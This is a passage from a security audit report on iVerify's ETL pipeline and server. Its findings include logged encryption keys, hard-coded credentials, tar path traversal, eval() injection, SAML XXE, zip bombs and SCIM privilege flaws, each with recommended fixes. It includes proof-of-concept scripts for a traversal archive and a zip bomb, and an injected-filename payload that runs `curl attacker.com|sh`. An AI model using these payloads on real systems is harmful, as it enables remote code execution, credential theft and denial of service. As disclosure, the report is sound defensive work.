derived_aes_256_symmetric_key = HKDF(
    algorithm=hashes.SHA256(),
    length=OUTPUT_BYTE_COUNT,
    salt=hkdf_nonce_bytes,
    info=SHARED_INFO_BYTES,
).derive(shared_ecdh_secret)

print(f"\nDerived AES-256 symmetric key:
{derived_aes_256_symmetric_key.hex()}\n")

return derived_aes_256_symmetric_key
```

*Figure 6.3: Derived AES-256 symmetric key printed to stdout
([spyware-observatory-etl/src/helpers/decryption_helper.py#L150-L159](#))*

Logging these values exposes them to anyone with access to application logs, CloudWatch logs, or stdout output in the Lambda execution environment.

Exploit Scenario

An attacker with read access to the application logs, CloudWatch log streams, or Lambda execution logs obtains the logged ECDH shared secrets and AES-256 symmetric keys. Using these keys along with intercepted encrypted device submissions, the attacker decrypts the submissions offline, gaining access to sensitive diagnostic data from user devices without needing access to the KMS private key or the on-premises server key.

Recommendations

Short term, remove all `print()` statements and `ETLLogger` calls that output cryptographic key material. Cryptographic secrets should never be logged, regardless of the environment or log level. This will prevent the secrets from being persisted in log storage systems.

Long term, use a secrets-aware logging framework that automatically redacts sensitive values. This will prevent similar issues from being introduced in future development.

7. Hard-coded secrets and credentials in source code

Severity: **High**

Difficulty: **High**

Type: Data Exposure

Finding ID: TOB-IVERIFY26-7

Target: iverify, spyware-observatory-etl, iverify-portal

Description

Multiple repositories contain hard-coded secrets, API keys, and credentials committed directly to source control. These secrets span multiple cloud providers and services, and we confirmed that many of them are still active (verified by TruffleHog). An attacker with read access to these repositories could extract these credentials and gain unauthorized access to critical infrastructure and services.

The following tables summarize the secrets identified in the production and test/development environments.

spyware-observatory-etl Production Secrets

Secret Type	Status	File	Notes
Slack Webhook	Verified	<code>config.prod.json#L2</code>	Production environment
Slack Webhook	Verified	<code>config.prod-eu.json#L2</code>	Production EU environment
Slack Bot Token	Verified	<code>MimtReportHandler.py#L199</code>	iVerify workspace, permissions unknown

spyware-observatory-etl Development/Local Secrets

Secret Type	Status	File	Notes
Slack Webhook	Verified	<code>config.dev.json#L2</code>	Development environment
Slack Webhook	Verified	<code>config.dev-eu.json#L2</code>	Development EU environment
Slack Webhook	Verified	<code>config.staging.json#L2</code>	Staging environment
Slack Webhook	Verified	<code>config.local.json#L2</code>	Local development

Slack Webhook	Verified	run_docker_locally.sh#L7	Local Docker setup
Slack Webhook	Verified	clickhouse_seed_data.sql#L7	Seed data for local development

iverify Production Secrets

Secret Type	Status	File	Notes
GCP Service Account	Verified	iverify-firebase-adminsdk-jgrn3-78e046c2f4.json#L6	Production Firebase project
GCP Service Account	Verified	iverify-app-firebase-adminsdk-b78se-9c47218a48.json#L6	Production app project
GCP Service Account	Unverified	iverify-enterprise-firebase-adminsdk-4swtr-73b5852f90.json#L6	Production enterprise project
GCP Service Account	Verified	gleaming-scene-460413-k9-0cb89048eee2.json#L6	Conditional access service account
Stripe Live API Key	Unverified	PaymentServiceTest.kt#L53	sk_live_ key in test file
SAML Private Key	Unverified	sp-encryption.key#L1	SP encryption key
Heroku API Key	Unverified	server.yml#L146	CI/CD deployment credential
Slack Webhook	Verified	PostgresOrgsRepository.kt#L341	Multiple production webhooks

iverify Test/Acceptance Secrets

Secret Type	Status	File	Notes
Azure AD Client Secret	Verified	OrganizationSeed.kt#L99	Database seeder for test data
GCP Service Account	Unverified	iverify-acceptance-firebase-adminsdk-cbrck-15767ecd61.json#L6	Acceptance test environment
GCP Service Account	Verified	iverify-enterprise-acceptance-firebase-adminsd	Acceptance test environment

		<code>k-t3qjh-91dd8977dd.json</code> #L6	
GCP Service Account	Verified	<code>FirebaseCredentials.kt#</code> L56	Test project (random-3df92)
MongoDB Credentials	Unverified	<code>IvyServer.kt#L67</code>	Read-only test credentials
JWTs	Unverified	<code>SSOTest.kt#L12</code>	Expired tokens (2020) in test files
Slack Webhooks	Verified	<code>ConfigTest.kt#L36</code>	Test configuration

The Stripe live API key (`sk_live_`) is notable because it appears in a test file but is a production key rather than a test key (`sk_test_`). This suggests production credentials may have been used during test development.

Even test and acceptance environment secrets pose risks, as they may share infrastructure with production, provide lateral movement opportunities, or reveal credential patterns used in production.

Exploit Scenario

An attacker gains read access to one of iVerify's repositories via a compromised developer account, misconfigured repository permissions, or a supply-chain attack. They extract hard-coded credentials, such as verified GCP service account credentials for the production Firebase projects or the Stripe live API key, and then view and manipulate user data and payment data.

Recommendations

Short term, immediately rotate all production credentials identified above. Prioritize the verified active secrets: GCP service accounts for production Firebase projects, Slack bot tokens, and production Slack webhooks. Replace the Stripe live key with a test key in the test files. After rotation, audit access logs for each service to identify any unauthorized access that may have occurred.

Long term, implement a secrets management solution such as HashiCorp Vault, AWS Secrets Manager, or Google Secret Manager to store and retrieve secrets at runtime rather than embedding them in source code. Configure pre-commit hooks using tools like [TruffleHog](#) to prevent secrets from being committed. Establish a CI/CD pipeline check that scans for secrets before code is merged. Remove all secrets from Git history.

References

- [TruffleHog Secret Scanner](#)
- [GitHub Secret Scanning](#)

8. Unsafe tarfile extraction enables file write via path traversal attacks

Severity: **High**

Difficulty: **Medium**

Type: Data Validation

Finding ID: TOB-IVERIFY26-8

Target: `src/helpers/file_helper.py`,
`src/helpers/SysdAdditionalFileExtractor.py`

Description

The application extracts tar archives without applying extraction filters, allowing attackers to write arbitrary files to the filesystem via path traversal. The `tarfile.extractall()` method is called without the `filter` parameter in multiple locations, and the application runs on Python 3.11, which does not provide automatic protection against malicious archive members containing path traversal sequences.

Python 3.14 introduced safe extraction filters that are applied by default when no `filter` parameter is specified. However, the application explicitly uses Python 3.11 as configured in the serverless deployment configuration, leaving it vulnerable to path traversal attacks through maliciously crafted tar archives.

Authenticated users can upload sysdiagnose archives to S3 buckets via presigned URLs. The `TelemetryUploadController` provides endpoints that generate presigned upload URLs for both enterprise and consumer users. Once a file is uploaded to S3, the Lambda function is automatically triggered via S3 `ObjectCreated` events and processes the archive without validating its contents.

The vulnerable `extract_and_get_folder()` function in `file_helper.py` opens and extracts tar archives without validation (figure 8.1).

```
def extract_and_get_folder(tar_path, extract_path="."):
    """
    Extracts a tar.gz file to a specified directory and returns the path of the
    top-level folder.
    """
    with tarfile.open(tar_path, "r:gz") as tf:
        # List all members to find the top-level directory
        members = tf.getmembers()

        # Extract the tar file
        tf.extractall(path=extract_path)

        # Identify the top-level directory in the extracted contents
```

```

        top_level_folder = os.path.commonpath([member.name for member in members if
        "/" in member.name])
        top_level_folder_path = os.path.join(extract_path, top_level_folder)

        return top_level_folder_path if os.path.isdir(top_level_folder_path) else
        extract_path

```

Figure 8.1: Unsafe tar extraction in file_helper.py
(spyware-observatory-etl/src/helpers/file_helper.py#L8-L29)

The SysdAdditionalFileExtractor.py module contains three additional vulnerable extraction points that process tar archives without filtering (figure 8.2).

```

def extract_additional_logs(logs_to_extract, tar_file_path):
    # ... setup code ...
    with tarfile.open(tar_file_path, "r:gz") as archive:
        archive.extractall(path=temp_dir)
        full_log_list = archive.getnames()
    # ... processing code ...

def extract_spindump_file(tar_file_path):
    # ... setup code ...
    with tarfile.open(tar_file_path, "r:gz") as archive:
        archive.extractall(path=temp_dir)
    # ... processing code ...

def extract_remotectl_dumpstate_file(tar_file_path):
    # ... setup code ...
    with tarfile.open(tar_file_path, "r:gz") as archive:
        archive.extractall(path=temp_dir)
    # ... processing code ...

```

Figure 8.2: Additional unsafe extractions in SysdAdditionalFileExtractor.py
(spyware-observatory-etl/src/helpers/SysdAdditionalFileExtractor.py#L31, #L56, #L77)

The application runs on AWS Lambda using Python 3.11 (figure 8.3).

```

provider:
  name: aws
  runtime: python3.11

```

Figure 8.3: Python runtime configuration
(spyware-observatory-etl/serverless.yml#L6-L8)

When a tar archive contains members with names like ../../tmp/malicious.txt, the extraction process writes these files to the specified paths relative to the extraction directory, bypassing any directory confinement. This allows an attacker to overwrite system files or Python modules, for example.

The proof of concept in figure 8.4 demonstrates the vulnerability by creating a malicious tar archive that writes a file outside the intended extraction directory.

```
#!/usr/bin/env python3

import tarfile

from src.helpers.file_helper import extract_and_get_folder

def create_malicious_archive(output_path: str, traversal_target: str) -> None:
    with tarfile.open(output_path, "w:gz") as tar:
        # Create malicious file with path traversal
        malicious_content = b"This file was written via path traversal in"
        tarfile.extractall()
        malicious_info = tarfile.TarInfo(name=traversal_target)
        malicious_info.size = len(malicious_content)
        tar.addfile(malicious_info, fileobj=tarfile.io.BytesIO(malicious_content))

def main():
    create_malicious_archive("archive.tar.gz",
        "../../../tmp/malicious.txt")
    extract_and_get_folder("archive.tar.gz", ".")

if __name__ == "__main__":
    exit(main())
```

Figure 8.4: Proof of concept demonstrating file write via path traversal in tarfile extraction

Exploit Scenario

An authenticated enterprise user with an enrolled device requests a presigned upload URL via the `/getPresignedUploadUrl` endpoint. The attacker crafts a malicious sysdiagnose `tar.gz` archive containing a member named `../../../tmp/malicious` that writes attacker-controlled content outside the intended extraction directory. After the archive is uploaded to S3 using the presigned URL, the Lambda function is automatically triggered by the S3 `ObjectCreated` event. The `SysdiagnoseFileHandler` processes the archive and calls `extract_and_get_folder()`, which extracts the malicious file to `/tmp/malicious`, outside the intended extraction directory. While the Lambda's ephemeral and read-only filesystem containing the Lambda code limits direct exploitation, the arbitrary file write could enable remote code execution depending on the runtime environment and application logic (for example, by overwriting Python modules or dependencies loaded during execution).

Recommendations

Short term, add the data filter to all `tarfile.extractall()` calls to restrict extraction to regular files within the target directory. Modify each extraction call to include `filter='data'`, which prevents absolute paths, parent directory references, and symlink attacks. This filter is the recommended default for extracting untrusted archives.

Long term, upgrade to Python 3.14 or later, which applies the data filter by default when no filter is specified. Additionally, read [tarfile's hints for further verification](#) and implement them. This defense-in-depth approach limits the risks of extracting untrusted user data.

References

- [Python tarfile extraction filters documentation](#)
- [Python tarfile hints for further verification](#)

9. Server does not validate JWT signatures on OAuth ID tokens

Severity: Informational

Difficulty: High

Type: Data Validation

Finding ID: TOB-IVERIFY26-9

Target: server/components/auth/src/main/kotlin/ivy/auth/OAuth.kt

Description

The `parseIdToken` function extracts identity claims from OAuth ID tokens without verifying the JWT signature, issuer, or audience (figure 9.1). While the OAuth authorization code exchange is correctly performed with organization-specific identity providers, the server decodes and trusts the token payload without cryptographic verification.

```
fun parseIdToken(idToken: String?): UserResponse {  
    if (idToken == null) return UserResponse().removeNulls()  
    val payload = idToken.split(".")[1]  
    val userJson = payload.decodeFromBase64()  
    return Hocon.textToObject(userJson)  
}
```

Figure 9.1: JWT parsing without signature verification

([iverify/server/components/auth/src/main/kotlin/ivy/auth/OAuth.kt#L68-L73](#))

The extracted email claim is subsequently used to authenticate users and determine their roles, which are then stored in the session (figure 9.2).

```
val userInformation = getUserInformation(principal)  
val orgInformation = repo.orgInfoFromSlug(slug!!)  
val isOrgAdmin = repo.userWithEmailAndOrg(userInformation.email!!,  
    orgInformation.orgId)?.id != null  
val roles = repo.userInfoFromEmail(userEmail!!).roles  
call.sessions.saveIdpSession(userInformation.name!!, userEmail, orgInformation,  
    principal, roles)
```

Figure 9.2: Email claim used for authentication and role assignment

([iverify/server/components/auth/src/main/kotlin/ivy/auth/OAuth.kt#L115-L141](#))

An attacker who can intercept the OAuth token exchange response could modify the ID token payload to impersonate any existing user in the organization. The current risk is mitigated by two factors: identity providers are restricted to a whitelist of cloud-hosted providers, and the token exchange occurs over TLS. However, if on-premises identity providers are supported in the future, this vulnerability would enable authentication bypass through a compromised reverse proxy.

Exploit Scenario

An organization deploys an on-premises identity provider behind a reverse proxy. An attacker compromises the reverse proxy through a vulnerability exploit or stolen credentials. When a legitimate user initiates an OAuth login, the attacker intercepts the token exchange response and modifies the `id_token` payload, changing the email claim from their own address to that of an administrator. Because the server does not verify the JWT signature, it accepts the forged token and creates a session with the administrator's roles, granting the attacker full administrative privileges.

Recommendations

Short term, implement JWT signature verification using a library such as `java-jwt` or `nimbus-jose-jwt` to validate the token signature against the identity provider's public keys and verify the issuer and audience claims match expected values. This will prevent attackers from forging or modifying ID tokens.

Long term, adopt an OpenID Connect client library that handles the complete token validation lifecycle, including signature verification, claim validation, and key rotation via JWKS endpoints. This will ensure that future authentication flows follow security best practices and reduce the risk of implementation errors.

References

- [OpenID Connect Core 1.0: ID Token Validation](#)
- [RFC 7519: JSON Web Token \(JWT\)](#)

10. Remote code execution vulnerability due to use of eval() in sysdiagnose parsing

Severity: High

Difficulty: Medium

Type: Data Validation

Finding ID: TOB-IVERIFY26-10

Target: src/helpers/sysdiagnose/parsing.py

Description

The sysdiagnose parsing and analysis modules use Python's `eval()` function to dynamically execute parser and analyzer functions. User-controlled data from uploaded tar archives flows through file extraction and path construction into `eval()`, enabling arbitrary Python code execution.

In `parsing.py`, the `parse()` function constructs a command string using file paths from case JSON files (figure 10.1).

```
if type(case[module.parser_input]) == str:
    if module.parser_input == "ps":
        command = "module." + module.parser_call + "(" + case[module.parser_input]
    + ", " + str(ios_version) + ")"
    else:
        command = "module." + module.parser_call + "(" + case[module.parser_input]
    + ")"
else:
    command = "module." + module.parser_call + "(" + str(case[module.parser_input])
    + ")"

result = eval(command)
```

Figure 10.1: Dynamically constructing and evaluating a parser command from user-controlled file paths

([spyware-observatory-etl/src/helpers/sysdiagnose/parsing.py#L141-L157](#))

The values `parser_call` and `parser_input` are hard-coded constants in each parser module and are not user-controllable. However, the value `case[module.parser_input]` contains file paths that include the folder name from the uploaded tar archive, which is user-controllable as follows:

1. A user uploads a sysdiagnose tar archive to S3.
2. `initialize.py` calls `tarfile.extractall()`, preserving folder names (`file_helper.py#L22`).

3. `extract_and_get_folder()` returns a path that includes the folder name from the tar archive (`file_helper.py#L25–L26`).
4. `collect_direct_files()` constructs full paths with the folder name (`file_helper.py#L35–L37`).
5. The path is stored in `case[module.parser_input]` (e.g., `/tmp/.../MALICIOUS_FOLDER/ps.txt`).
6. `parsing.py` interpolates the path into the `eval()` command.

Exploit Scenario

An attacker creates a tar archive with a malicious folder name containing a Python expression (e.g., `'+str(__import__('os').system('curl attacker.com|sh'))+'`). Inside this folder, they include the required files (`ps.txt`, `sysdiagnose.log`, etc.) and upload the archive to S3. The Lambda function extracts the archive, creating a path such as `/tmp/sysdiagnose_data/1/'+str(__import__('os').system('...'))+'/ps.txt`. This path is stored in `case[module.parser_input]` and passed to `eval()`, where Python evaluates it as string concatenation and executes the injected code.

Recommendations

Short term, replace `eval()` with `getattr()` for function dispatch, as shown in figure 10.2.

```
func = getattr(module, module.parser_call)
result = func(case[module.parser_input])
```

Figure 10.2: Recommended replacement of `eval()` with `getattr()` for function dispatch

Long term, consider adding a pre-commit hook or check in CI that disallows the use of the `eval` function entirely.

11. Overprivileged Lambda IAM roles

Severity: **Medium**

Difficulty: **High**

Type: Configuration

Finding ID: TOB-IVERIFY26-11

Target: `serverless.yml`

Description

The Lambda functions in `spyware-observatory-etl` have overly permissive IAM roles that violate the principle of least privilege. Several permissions use wildcard (*) resources:

- Unrestricted Secrets Manager access (lines 102–108):

```
- Effect: Allow
  Action:
    - secretsmanager:ListSecrets
    - secretsmanager:GetSecretValue
    - secretsmanager:DescribeSecret
  Resource: "*"
```

*Figure 11.1: Unrestricted SecretsManager access using a wildcard resource
(`spyware-observatory-etl/serverless.yml#L102-L108`)*

- Wildcard IAM PassRole (lines 125–128):

```
- Effect: Allow
  Action:
    - iam:PassRole
  Resource: "*"
```

*Figure 11.2: Wildcard IAM PassRole permission
(`spyware-observatory-etl/serverless.yml#L125-L128`)*

- Unrestricted Amazon ECS RunTask (lines 129–132):

```
- Effect: Allow
  Action:
    - ecs:RunTask
  Resource: "*"
```

*Figure 11.3: Unrestricted ECS RunTask permission
(`spyware-observatory-etl/serverless.yml#L129-L132`)*

- Overly broad DynamoDB access (lines 114–124):

```
Action:
- dynamodb:DescribeTable
- dynamodb:Query
- dynamodb:Scan
- dynamodb:GetItem
- dynamodb:PutItem
- dynamodb:UpdateItem
- dynamodb>DeleteItem
- dynamodb:BatchWriteItem
Resource: "arn:aws:dynamodb:*:*:table/*"
```

*Figure 11.4: Overly broad DynamoDB access permissions
([spyware-observatory-etl/serverless.yml#L114-L124](#))*

Exploit Scenario

An attacker who achieves code execution in a Lambda function (e.g., via [TOB-IVERIFY26-10](#)) can read all secrets in the AWS account (not just those needed by the ETL), pass any IAM role to ECS tasks to escalate privileges, launch arbitrary ECS tasks with any configuration, and perform DynamoDB operations on any table in any region.

Recommendations

Short term, apply the principle of least privilege by scoping each of the Lambda services' permissions to the specific resources and actions required.

Long term, adopt a policy review process that flags wildcard resource patterns in IAM policies before deployment.

12. XXE injection in server SAML processing

Severity: High

Difficulty: Low

Type: Data Validation

Finding ID: TOB-IVERIFY26-12

Target:

server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt, CertificateAndKeyHelperService.kt

Description

The SAML 2.0 SSO implementation uses DocumentBuilderFactory to parse XML without disabling external entity processing. This affects three separate code paths:

- SAML response parsing (SamlVerificationHelper.kt#L75–L78) and identity provider metadata extraction (CertificateAndKeyHelperService.kt#L199–L202):

```
val docBuilder = DocumentBuilderFactory.newInstance().apply {  
    isNamespaceAware = true  
}.newDocumentBuilder()  
val document = docBuilder.parse(xmlBytes.inputStream())
```

Figure 12.1: XML parsing without external entity protection in SAML response handling and identity provider metadata extraction

(*iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt#L75–L78,*
iverify/server/components/orgs/src/main/kotlin/ivy/saml/CertificateAndKeyHelperService.kt#L199–L202)

- Identity provider metadata entity ID extraction (CertificateAndKeyHelperService.kt#L233–L236):

```
val factory = DocumentBuilderFactory.newInstance()  
factory.isNamespaceAware = true  
val builder = factory.newDocumentBuilder()  
val document =  
builder.parse(ByteArrayInputStream(xml.toByteArray(Charsets.UTF_8)))
```

Figure 12.2: XML parsing without external entity protection in identity provider metadata entity ID extraction

(*iverify/server/components/orgs/src/main/kotlin/ivy/saml/CertificateAndKeyHelperService.kt#L233–L236)*

None of these code paths disable DOCTYPE declarations, external general entities, external parameter entities, or external DTD loading. The SAML assertion consumer service (ACS) endpoint is unauthenticated and processes XML before performing signature validation. An attacker who knows a valid tenant slug with SAML configured can send a crafted SAML response containing an XXE payload directly to the ACS endpoint. The XML is parsed at `Sam1VerificationHelper.kt#L75–L78` before any signature or assertion checks, so no valid identity provider signature is required.

The identity provider metadata configuration endpoint (`postSam1Sso` in `OrgsController.kt#L385`) is also affected. This path requires `PLATFORM_MGMT` role authentication but parses identity provider metadata XML through the same vulnerable `DocumentBuilderFactory` at `CertificateAndKeyHelperService.kt#L199–L202` and `233–236`.

Exploit Scenario

An attacker identifies a valid tenant slug (e.g., from a login page URL or subdomain). They send a POST request to the unauthenticated SAML ACS endpoint (`/api/v1/saml-sso/acs/{region}/{tenant}`) with a `SAMLResponse` parameter containing a Base64-encoded XML payload with an XXE declaration. The server parses the XML before validating the SAML signature, triggering the external entity resolution. Using an out-of-band technique with an attacker-hosted DTD, the attacker exfiltrates the contents of local files. By targeting the AWS metadata endpoint at `http://169.254.169.254/`, the attacker obtains IAM credentials with access to other tenants' data.

Recommendations

Short term, configure `DocumentBuilderFactory` to disable XXE. Encapsulate this in a helper function and use it consistently throughout the codebase:

```
val docBuilder = DocumentBuilderFactory.newInstance().apply {
    isNamespaceAware = true
    setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
    setFeature("http://xml.org/sax/features/external-general-entities", false)
    setFeature("http://xml.org/sax/features/external-parameter-entities", false)
    setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",
false)
    setXIncludeAware(false)
    setExpandEntityReferences(false)
}.newDocumentBuilder()
```

Figure 12.3: Disabling XXE in the DocumentBuilderFactory configuration

Additionally, the `postSam1Acs` endpoint should reject malformed XML before attempting to load encryption keys or perform signature validation and to fail fast on invalid input.

Long term, enforce IMDSv2 on all Amazon EC2 instances and ECS tasks to mitigate SSRF-based credential theft from the AWS metadata service.

13. Archive extraction vulnerable to decompression bombs causing denial of service

Severity: **Medium**

Difficulty: **Low**

Type: Denial of Service

Finding ID: TOB-IVERIFY26-13

Target: src/helpers/file_helper.py,
src/helpers/SysdAdditionalFileExtractor.py,
src/android_bugreport/initialize.py

Description

The application extracts tar .gz and zip archives without enforcing limits on decompressed size, allowing attackers to exhaust Lambda function memory and disk resources via decompression bombs. A decompression bomb is a small compressed file that expands to an extremely large size when extracted, potentially expanding from kilobytes to gigabytes.

AWS Lambda functions have strict resource constraints: a maximum of 10,240 MB memory and 10,240 MB ephemeral storage (/tmp). When a decompression bomb is extracted, it rapidly consumes these resources, causing the Lambda function to crash or timeout. Repeated attacks can cause sustained service disruption and increased AWS costs from failed invocations.

The sysdiagnose extraction code in file_helper.py extracts tar archives without size validation (figure 13.1).

```
def extract_and_get_folder(tar_path, extract_path="."):
    """
    Extracts a tar.gz file to a specified directory and returns the path of the
    top-level folder.
    """
    with tarfile.open(tar_path, "r:gz") as tf:
        # List all members to find the top-level directory
        members = tf.getmembers()

        # Extract the tar file
        tf.extractall(path=extract_path)

        # Identify the top-level directory in the extracted contents
        top_level_folder = os.path.commonpath([member.name for member in members if
        "/" in member.name])
        top_level_folder_path = os.path.join(extract_path, top_level_folder)
```

```
        return top_level_folder_path if os.path.isdir(top_level_folder_path) else
extract_path
```

Figure 13.1: Unprotected tar extraction
(*spyware-observatory-etl/src/helpers/file_helper.py#L8–L28*)

The SysdAdditionalFileExtractor.py module contains three additional extraction points without size limits (figure 13.2).

```
def extract_additional_logs(logs_to_extract, tar_file_path):
    # ... setup code ...
    with tarfile.open(tar_file_path, "r:gz") as archive:
        archive.extractall(path=temp_dir)
    # ... processing code ...

def extract_spindump_file(tar_file_path):
    # ... setup code ...
    with tarfile.open(tar_file_path, "r:gz") as archive:
        archive.extractall(path=temp_dir)
    # ... processing code ...

def extract_remotectl_dumpstate_file(tar_file_path):
    # ... setup code ...
    with tarfile.open(tar_file_path, "r:gz") as archive:
        archive.extractall(path=temp_dir)
    # ... processing code ...
```

Figure 13.2: Unprotected extractions
(*spyware-observatory-etl/src/helpers/SysdAdditionalFileExtractor.py#L31, #L56, #L77*)

The Android bug report extraction code in initialize.py extracts zip archives without size validation, including nested zip files (figure 13.3).

```
with zipfile.ZipFile(bugreport_zip, "r") as zf:
    zf.extractall()
    # ... processing code ...

# Nested zip extraction
with zipfile.ZipFile(nested_zip_path, "r") as nzf:
    nzf.extractall()
```

Figure 13.3: Unprotected zip extraction
(*spyware-observatory-etl/src/helpers/android_bugreport/initialize.py#L90, #L126*)

The proof of concept in figure 13.4 demonstrates the vulnerability by creating a zip bomb that expands from a few kilobytes to over 1 GB, using the same extractall() pattern found in initialize.py.

```
#!/usr/bin/env python3

import os
import zipfile

def create_zip_bomb(output_path: str, expanded_size_mb: int = 1024) -> None:
    """Create a zip bomb that expands to expanded_size_mb megabytes."""
    with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as zf:
        # Zeros compress extremely well (~1000:1 ratio)
        zero_content = b"\x00" * (1024 * 1024) # 1 MB of zeros
        for i in range(expanded_size_mb):
            zf.writestr(f"bomb_{i}.bin", zero_content)

def main():
    bomb_path = "bomb.zip"
    extract_dir = "bomb_extracted"

    create_zip_bomb(bomb_path, expanded_size_mb=1024)
    print(f"Created {bomb_path}: {os.path.getsize(bomb_path)} bytes")

    # Vulnerable pattern from initialize.py:90
    os.makedirs(extract_dir, exist_ok=True)
    with zipfile.ZipFile(bomb_path, "r") as zf:
        zf.extractall(extract_dir)

    print(f"Extracted to {extract_dir}")

if __name__ == "__main__":
    main()
```

Figure 13.4: Proof of concept demonstrating decompression bomb attack

Exploit Scenario

An authenticated user requests a presigned upload URL via the `/getPresignedUploadUrl` endpoint. The attacker crafts a malicious archive containing highly compressible data that expands from 10 KB to 10 GB when extracted. After uploading the archive to S3 using the presigned URL, the Lambda function is automatically triggered by the `S3 ObjectCreated` event. The extraction code attempts to decompress the archive, rapidly consuming all available ephemeral storage in `/tmp`. The Lambda function crashes with an out-of-space error, and the invocation is retried multiple times by AWS Lambda's automatic retry mechanism. Each retry fails identically, consuming Lambda execution time and incurring costs. If multiple malicious archives are uploaded in parallel, the attack can cause sustained denial of service for all users attempting to upload legitimate sysdiagnose data.

Recommendations

Short term, implement size validation before and during extraction. For tar archives, iterate through `tf.getmembers()` and sum the `size` attribute of each member, rejecting archives where the total exceeds a reasonable threshold (e.g., 5 GB). For zip archives, use `zf.infolist()` to check the `file_size` attribute of each `ZipInfo` object before extraction. Additionally, implement incremental extraction with running size checks to defend against archives with falsified size headers.

Long term, implement a streaming extraction approach that monitors bytes written during extraction and aborts if a threshold is exceeded. Consider extracting archives in a dedicated container or subprocess with strict resource limits (memory cgroups, disk quotas) to isolate the extraction process from the main Lambda function. For defense in depth, implement file count limits in addition to size limits, as some decompression bombs use millions of small files rather than a few large ones.

References

- [OWASP Test Upload of Malicious Files](#)
- [AWS Lambda quotas](#)

14. SCIM admin provisioning hard codes super admin role for new users

Severity: **Medium**

Difficulty: **Low**

Type: Access Controls

Finding ID: TOB-IVERIFY26-14

Target:

server/components/scim/src/main/kotlin/ivy/scim/ScimRepository.kt

Description

When a user is provisioned into an admin group via SCIM, `ensurePrincipalForMember()` hard codes their principal-level role to `SUPER_ADMIN`, regardless of the group's configured roles (figure 14.1).

```
// ScimRepository.kt:662-667
return UserTable.insertAndGetId {
    it[name] = member[MemberTable.name]
    it[email] = member[MemberTable.email].lowercase()
    it[roles] = UserRoles.SUPER_ADMIN
    it[organizationId] = EntityID(orgId, OrganizationTable)
}
```

Figure 14.1: Hard-coded `SUPER_ADMIN` role assignment for SCIM-provisioned principals (iVerify/server/components/scim/src/main/kotlin/ivy/scim/ScimRepository.kt#L662-L667)

If an admin user is added via the UI (`PostgresOrgsRepository.addAdmin()`), the appropriate roles are stored, but the SCIM code path predates the RBAC feature and was not updated when granular RBAC was introduced. A user's effective roles at login are the union of their principal-level roles and their group-level roles (`UserRoles.combineRoles()` at `UserRoles.kt#L17`); therefore, when `SUPER_ADMIN` is already present on the principal record, restricting the group to a narrower role (e.g., `ACCESS_MGMT`) has no effect, as the union still includes `SUPER_ADMIN`.

Exploit Scenario

An organization configures an admin group with a restricted role set (e.g., `ACCESS_MGMT` only) and provisions users into it via their identity provider's SCIM integration. Each newly provisioned user silently receives `SUPER_ADMIN` access on their `UserTable` principal, regardless of the group's configured roles. The administrators believe these users have limited permissions based on the group configuration, but in practice each user has full administrative access.

Recommendations

Short term, pass the provisioning group's configured roles into `ensurePrincipalForMember()` instead of hard coding `SUPER_ADMIN`, defaulting to `GENERAL_ADMIN` if the group has no roles configured:

```
private fun ensurePrincipalForMember(
    orgId: Int, memberId: EntityID<Int>, groupId: Int
): EntityID<Int> {
    val groupRoles = UserGroupsTable
        .select { UserGroupsTable.id eq groupId }
        .firstOrNull()?.get(UserGroupsTable.roles)
    // ...
    return UserTable.insertAndGetId {
        it[roles] = groupRoles ?: UserRoles.GENERAL_ADMIN
        // ...
    }
}
```

Figure 14.2: Recommended fix passing the provisioning group's configured roles

After applying this patch, audit existing SCIM-provisioned principals for `SUPER_ADMIN` roles that exceed their group's configuration.

Long term, have SCIM-provisioned principals inherit roles solely from group membership rather than storing a principal-level role, since `combineRoles()` already computes the union of both at login.

15. SCIM user deprovisioning does not revoke admin principal or sessions

Severity: **Medium**

Difficulty: **Low**

Type: Access Controls

Finding ID: TOB-IVERIFY26-15

Target: `server/components/scim/src/main/kotlin/ivy/scim/ScimService.kt`

Description

iVerify maintains two separate identity tables: `MemberTable`, representing enrolled device users, and `UserTable`, representing admin portal login identities with RBAC roles. A SCIM-provisioned admin has rows in both. `UserTable` has no active flag like `MemberTable` does; a principal either exists with full role access or is deleted entirely.

When a user is deprovisioned via SCIM (`DELETE /scim/v2/Users/{id}`), `ScimService.remove()` deactivates the `MemberTable` record and unenrolls their devices but does not delete the user's `UserTable` principal (figure 15.1).

```
// ScimService.kt:187-206
fun remove(orgId: Int, scimMemberId: String): Boolean {
    // ...
    update(orgId, scimMemberId, resource.copy(active = false)) // MemberTable only
    // ... unenroll devices, close alerts ...
    return memberRepository.removeMemberById(orgId, member.id) // Sets
MemberTable.active = false
    // UserTable principal is NOT touched
    // No session invalidation
}
```

Figure 15.1: SCIM user removal deactivates only the `MemberTable` record without touching `UserTable` or sessions.

([iverify/server/components/scim/src/main/kotlin/ivy/scim/ScimService.kt#L187-L206](#))

The `removeMemberById()` function sets `MemberTable.active` to `false` ([PostgresMemberRepository.kt#L493-L508](#)). The `UserTable` row, which stores the principal's `SUPER_ADMIN` role, remains intact.

The SAML and OAuth login flows verify admin status by querying `UserTable`, not `MemberTable` (figure 15.2).

```
// UserRepository.kt:68-71
override fun userWithEmailAndOrg(email: String, orgId: Int) =
    transaction {
```

```

        Users.find { (UserTable.email eq email.lowercase()) and
        (UserTable.organizationId eq orgId) }
            .firstOrNull()?.toUser()
    }

```

Figure 15.2: Admin login verification queries only UserTable without checking member active status.

([iVerify/server/components/orgs/src/main/kotlin/ivy/users/data/UserRepository.kt#L68–L71](#))

Since the UserTable principal persists after SCIM deprovisioning, these checks pass. The subsequent `userInfoFromEmail()` ([UserRepository.kt#L90–L115](#)) also queries only UserTable joined with OrganizationTable, checking the organization-level OrganizationTable.active value but performing no user-level or member-level active check.

Additionally, `remove()` does not clean up group membership links (UserGroupMembersTable, UserGroupAdminMembersTable), and no database cascades exist to trigger cleanup (no relevant onDelete rules, and `removeMemberById()` sets active to false rather than deleting the row). No session invalidation occurs anywhere in the SCIM module (zero references to sessionStorage in ScimService.kt or ScimController.kt). The session TTL resets on every request (PostgresSessionStorage.kt#L130), so an active session persists indefinitely.

Exploit Scenario

